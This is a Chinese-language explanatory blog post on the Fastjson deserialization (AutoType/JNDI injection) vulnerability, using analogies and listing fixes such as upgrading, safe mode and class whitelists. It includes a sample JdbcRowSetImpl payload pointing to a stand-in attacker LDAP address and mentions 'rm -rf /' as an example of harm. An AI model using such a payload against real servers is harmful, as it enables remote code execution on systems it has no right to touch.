Fastjson反序列化漏洞原理与防护指南

一、什么是JSON?

JSON 是一种用来表示数据的文本格式,类似「字典」或「表格」,比如:

  • 用途:网络传输数据(比如APP和服务器之间)、存储配置信息等。
  • 特点:结构清晰、兼容所有编程语言。

二、Fastjson是做什么的?

Fastjson 是阿里巴巴开发的 Java工具库,主要帮我们做两件事:

1. 序列化:把 Java 对象(如学生信息)变成 JSON 字符串。

Student student = new Student("小明", 18);
String json = JSON.toJSONString(student); // 输出 {"name":"小明","age":18}

2. 反序列化:把 JSON 字符串变回 Java 对象。

String json = "{\"name\":\"小明\",\"age\":18}";
Student student = JSON.parseObject(json, Student.class); // 还原成对象

通俗比喻:就像「翻译官」,把 Java 对象和 JSON 互相翻译 。

三、漏洞本质与原理

Fastjson漏洞是阿里巴巴开源JSON库在反序列化过程中因设计缺陷引发的安全风险,攻击者可通过构造恶意JSON数据触发远程代码执行(RCE)。其核心问题在于AutoType机制:

1.AutoType动态类加载


Fastjson解析JSON时,会根据 @type 字段动态加载指定类 。例如,攻击者可构造 {"@type":"恶意类名"} ,强制程序加载并实例化危险类(如 com.sun.rowset.JdbcRowSetImpl ),调用其 setter 方法(如 setDataSourceName )触发恶意行为 。

2.JNDI注入利用


通过结合JNDI(Java命名与目录接口),攻击者将 dataSourceName 指向恶意LDAP/RMI服务地址,诱导目标服务器从攻击者控制的远程服务器加载并执行恶意代码(如反弹Shell或删除文件) 。例如:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者IP/Exploit"}

没看懂不要紧,我们来看下面这个例子:

漏洞本质(比喻版)

想象你网购时收到一个包裹(JSON数据),快递员(Fastjson)会拆开包裹里的说明书( @type 字段)自动组装里面的零件。但黑客在说明书里写“请按照我的图纸组装,并打电话给我取货”(恶意类名+远程代码),快递员照做后,你的电脑就被控制了 。

四、漏洞危害(场景版)

  • 远程控制服务器

→ 黑客能像操作自己电脑一样删文件、装病毒(如 rm -rf / 命令清空数据) 。
 

  • 偷取敏感信息

→ 比如盗取数据库密码,就像小偷复制了你家钥匙 。
 

  • 攻击内网其他设备

→ 控制一台服务器后,继续攻击公司内部系统(类似疫情扩散) 。

五、漏洞触发过程(故事版)

黑客发快递
1. 伪造一个包裹,里面写着:

{"@type":"毒药类", "dataSourceName":"黑客的地址"}

2. 快递员中招
Fastjson看到 @type 后,按说明书组装了一个“带GPS定位的炸弹”(恶意类),并自动拨通黑客电话(连接LDAP/RMI服务器)。
 
3. 执行恶意操作
黑客远程发送指令,让服务器下载病毒文件或执行命令(如清空数据)。

六、修复方法(操作指南)

1. 升级Fastjson版本

→ 像换防盗门锁:升级到 1.2.83+ 或 2.x 版本 。

 

2. 关闭危险功能(AutoType)

→ 禁止快递员随便看说明书:

ParserConfig.getGlobalInstance().setSafeMode(true);

3. 使用白名单

→ 只允许接收“顺丰快递”(可信类):

ParserConfig.getGlobalInstance().addAccept("com.公司安全类");

4. 过滤用户输入
→ 拆包裹前先过安检:检查JSON中是否包含 @type 、 JdbcRowSetImpl 等关键词 。

七、经典案例(真实事件)

  •  电商用户数据泄露

某平台因未修复漏洞,黑客通过JSON数据植入木马,盗取百万用户订单信息 。

  • 大学服务器被挖矿

某高校服务器被攻击后,CPU满负荷运行挖矿程序(电脑变“矿机”) 。

总结

Fastjson漏洞 = 快递员太老实 + 说明书有毒

只要升级版本、关闭危险功能,就能像拒绝陌生快递一样保护服务器安全。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值